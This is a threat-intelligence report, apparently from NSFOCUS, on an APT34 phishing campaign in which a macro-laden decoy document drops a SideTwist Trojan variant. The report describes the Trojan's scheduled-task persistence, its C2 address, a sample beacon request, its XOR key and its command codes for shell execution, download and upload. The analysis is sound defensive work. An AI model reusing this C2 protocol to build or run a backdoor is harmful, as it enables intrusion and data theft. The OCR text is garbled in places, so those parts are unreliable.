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APT Group Analysis

Recently, NSFOCUS Security Labs captured a new APT34 phishing attack. During the campaign, APT34
attackers disguised as a marketing services company called GGMS launched attacks against enterprise targets and

released a variant of SideTwist Trojan to achieve long-term control of the victim host.

Introduction to APT34

APT34, also known as OilRig or Helix Kitten, is an APT group suspected of coming from Iran. The group has
been active since 2014, conducting cyber espionage and cyber sabotage operations against countries in the Middle
East. Its main targets include multiple industries such as finance, government, energy, chemical industry and

telecommunications.

APT34 has a high level of attack technology, can design different intrusion methods for different types of targets,
and has supply chain attack capability. After this group’s main attack tools were disclosed in a leak in 2019, it

began to develop new attack tools, including RDAT, SideTwist and Saitama.
Related links:

Analysis of File Disclosure by APT34

Analysis of File Disclosure by APT34 APT34 Event Analysis Report

Decoy Information
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The decoy file used by APT34 this time is called “GGMS Overview.doc”, and the document’s body shows an

introduction to a so-called “Ganjavi Global Marketing Services” company, as shown in the figure below.

Ganjavi Global Marketing Services

————————
@ Providing top-tier marketing services since 1990

Who We Are -

Ganja Global Marketing Services (GGMS) is an elite public retations firm that specializes in
providing marketing, sdvertising, and sirategic consulting services 1o our global dient base
Our team. of aver 300 employess. are dedicated to helping customers address market
challenges and unlock business palential For more than 30 years, GGMS has contribided to
significant market growin in the food and beverage, healthcare, manufacturing, retail, and

|
— GANJAYI GLOBAL MARKETING SERVICES+ =
Providing 10p-ier markeling Services since 1990 ¢

"

s

. Create and fing fung an Elévator Piich through conversations «
. Community putreach and networkng: as a bUSINESS, You may of may not have the

normal foot traffic. Therefore, other marketing strategles may. De Needed to offset ine
lack of a storefront. Attend various networking events to bulld refationships with
community connectors <

. Begin distibuting or displaying your marketing materials:s a

& web-based promotions«
b. social medias

€ business cargss

d. trage shows+

technology sectors. «

. Establish an email marketing account and initiate digal marketing through blogs,
Our molto is “peaple first, always® because our company emphasizes our duty of care emails, or SEO sirategies to drive traffic to your website
business model. Whether we are engaging with customers, Invesiors, prospects, or our own

employees, GGMS strives to treat people wilh respect. »

. Let the local or regional press know you are opening and when »

~

. Utiize Guerrilla Marketing tactics 1o generate traffic ")
. Organize an opening event. Creale a relationship thal might allow cross-promotions «

«Our Services.

GGMS provides the following comprehensive marketing services to help clients enhance and

increase their business operations + 5

Achieve business excellence with Ganjai Global Marketing Services! Contact us
today to schedule an initial consultation and reach your market pefentiai..

» Social media markeling/advertisings
» Web design & developments

» Search engine optimization (SEC)-
» Pay-per-click (PPC) marketing

» Graphic design-

«Marketing and Launching Your Business.

1. Schedule an initial consuliation with GGMS to develop and refine a brand for your
company and its productsiservices. ¢

Figure 1 Decoy document used by APT34 in this attack

The introduction claimed that the company was able to provide worldwide marketing services. Apparently, it

targets enterprises.

There are twice upload records, located in the United States, demonstrating that APT34 was actually targeted at

United States businesses.

Attack Process

In this event, APT34 followed an attack process that has been in use since 2021, but with some variations in

details. The key steps of this attack process are illustrated in the following figure.
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Scheduled task
“SystemFailureReporter”

— &)

http://11.0.188.38:443/search/[UserID]

=

GGMS Overview.doc SystemFailureReporter.exe

A
V[

update.xml

Figure 2 Attack process used by APT34 in this attack

During this attack, malicious macrocode hidden in the decoy file undertakes the work of deployment environment.
The macrocode will extract the Trojan SystemFailureReporter.exe stored in base64 format in the document,
release it to %LOCALAPPDATA%\SystemFailureReporter\ directory, and create a text file named update.xml

under the same directory, acting as the start switch of the Trojan program, as shown in the figure below.

v Local Disk (C:) » Users » v AppData » Local » SystemmFailureReporter - | +3 | |
ibrary = Share with = Burn Mew folder
Mame } Date modified Type Size
CE| SystemFailureReporter.exe 8/22/202311:38 AM  Application 952 KB
= update.xml 8/22/202311:38 AM XML Document 1KE

Figure 3 Malicious files released from decoy document

The malicious macro then creates a scheduled task called SystemFailureReporter that calls up the Trojan every 5

minutes, through which it runs repeatedly.
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™ SystemFailur... Queued Multiple triggers defined

General  Triggers | Actions | Conditions | Settings | History (disabled)

When you create a task, you can specify the conditions that will trigger the task.

Trigger Details Status

At task creat... When the task is created or modified - After triggered, repeat every 5 minut...  Enabled

At log on At log on of T .- Aftertriggered, repeat every 5 ... Enabled

a | i | »

[ ok || Cancel

General | Triggers | Actions | Conditions | Settings | History (disabled)

When you create a task, you must specify the action that will cccur when your task starts,

Action Details

Start a progra... c\users\ M\appdata\local\SystemFailureReporter\SystemFailureReporte.,

4 | m |

Figure 5 Action information of scheduled tasks set by decoy document
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The called Trojan program SystemFailureReporter.exe is a variant of SideTwist, the main Trojan tool used by
APT34 in recent operations. Its CnC address is 11.0.188.38:443, but it uses HTTP for communication.

Trojan Analysis

The variant Trojan presented in this campaign is similar to the SideTwist Trojan used by APT34 in previous

campaigns, with the main difference that it is compiled using GCC.

The main function of the SideTwist Trojan is to communicate with the CnC, execute commands or program files

issued by the CnC terminal, and upload local files to the CnC.

After the Trojan runs, it will first check whether there is a file named update.xml in the same directory. If not,

output a line of prompt text through the debugging port and exit. This is a typical anti-sandbox operation.

sub_1488B7F8@{vy, viB, |

sus_free 1400A66408( {void ==x)uid);

nullsub_ 4{};

free{Buffer);

u?2 = (const CHAR =)sub_148829FBA(({_ inté4)u7};
if ( (v2) )

Figure 6 Environment detection operation of SideTwist Trojan

The Trojan will then collect the user name, computer name and local domain name of the victim’s host, assemble

and calculate a 4-byte hash as the unique ID of the victim.

contain GetUserHameW 148884478 (&v1 + 12);
contain GetComputerHameW 148884%6CE{v3);
contain GetComputerHameExW 1488848F4(v2) ;

stringadd 1488B82DA{v6, { intéd)uh, { int6h)ud);
stringadd 1488B7FDA{vS, v6, { int6h)u2);
memcpy 1488A6G68A(a1, vs);

Figure 7 Host information collection of SideTwist Trojan

The Trojan then attempts to establish communication with the CnC and obtain return information using the

generated victim ID.

The following figure shows the sample HTTP communication content of this Trojan, and suWW in the URI path

is the victim ID:
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GET /search/sulld HTTP/1.1
Connection: Keep-Alive
User-Agent: WinHTTP Example/1.8
Host: 11.8.188.38:443

Figure 8 First communication content of SideTwist Trojan

If the CnC path is online, the Trojan will extract and parse specific contents in the HTML code returned by CnC
into CnC instructions. These specific contents are hidden between <script>/* and */<script> tags of the HTML

code.

In this variant Trojan, the CnC instruction is stored in base64 encoding and decrypted as a multi-byte XOR key

with the string “notmersenne”.

The decrypted CnC instruction is divided into three segments, namely CnC number, CnC instruction code and
operating parameters, which are separated by the symbol “|”, as shown below.
[CnC number] | [CnC instruction code] | [operation parameter 1] | [operation parameter 2]

The CnC number is only used as an index during CnC communication, and the Trojan can be controlled to

terminate subsequent CnC communication behaviors only when this value is “-17”;

The CnC instruction code is used to control the Trojan to perform several corresponding behaviors, and its

instruction code number and function correspondence are shown in the following table.

Table 1 CnC Instruction Code

CnC Instruction

Function

Code

101 Run the shell command issued by CnC, and the command line is specified
by operation parameter 1.
Download the specified file on the CnC server. The file save path and

102 remote file name are respectively specified by operating parameters 1 and
2.

103 Upload a local file to the CnC server. The file path is specified by
operation parameter 1.

104 Execute the shell command issued by CnC, and the command line is

specified by operation parameter 1 (the same as instruction code 101)

It should be noted that the 102 instruction code of this Trojan will trigger a subsequent CnC communication
behavior. The Trojan program will initiate an HTTP GET request according to the remote file name in the CnC
instruction parameters, obtain and decrypt the files in the remote location “/getFile/[file name]”. The decryption

method is also base64 transcoding and multi-byte XOR, as shown below.
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sub_1488BB178{u8, "/ i fin i 1P [
string_create_1488AS9EB{vY, al);

httprequest 148082B92{v6, al, L T, v?, v8, (__int6h)u7?);
free 148BAGGLA(VI)

free 140BAGGLA(VE) ;

free 140BAGGLA{VT)

nullsub_ 4¢3} ;

if { strcmp_14882Aa228({_ intéd)us, "F i
1
b6hdec_148881989{{_ intsh)u1B, {_ intéd)us, B);
memcpy 1480AG68A(a3, ull);
free 1488A6GGL4A({VI16);
Xordec_1488062A6A(a1, a3};
vl = B;

Figure 9 Communication logic in SideTwist Trojan 102 instruction code

After all the above CnC instructions are completed, the Trojan will reply an HTTP POST request to the CnC to

report the instruction execution result. The POST request body contains information in the following format:
{“[CnC number]”}:{“[CnC instruction execution result]”}

Unlike common Trojan programs, this Trojan does not have a cyclic or sleep mechanism and will automatically

exit after a CnC communication, waiting for the scheduled task to invoke the Trojan again 5 minutes later.

IoC Analysis

What is special about this APT34 attack event is that the SideTwist Trojan used IP address 11.0.188.38 as the
CnC.

It is found that port 443 of the IP address does not provide service at present, and the nature of its CnC server

cannot be confirmed through the content returned by the IP address;

Querying the IP address assignment revealed that 11.0.188.38 was assigned to segment 11.0.188.0/22, owned by
the United States Department of Defense Network Information Center and located in Columbus, Ohio, United

States, matching the agency’s geographic location.

Conclusion

The APT34 attack discovered this time not only shows its commonly-used attack method, but also introduced a

GCC-based variant of the SideTwist Trojan and a sensitive IP address as the CnC address of the Trojan.

We believe that the specificity of this CnC IP suggests that the APT34 attacker probably used this activity as a test
and did not enable the real CnC address. This is an operation to protect attack resources and a tactic that may be
used by APT groups, which means that APT groups will enable the real CnC address to launch attacks only after

completing debugging and ensuring the concealment of the attack process.

IoC
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056378877c488af7894c8{6559550708
5e0b8bf38ad0d8c91310c7d6d8d7ad64

http[:]//11.0.188[.138:443/

Source: https://nsfocusglobal.com/apt34-unleashes-new-wave-of-phishing-attack-with-variant-of-sidetwist-trojan/

Page 8 of 8



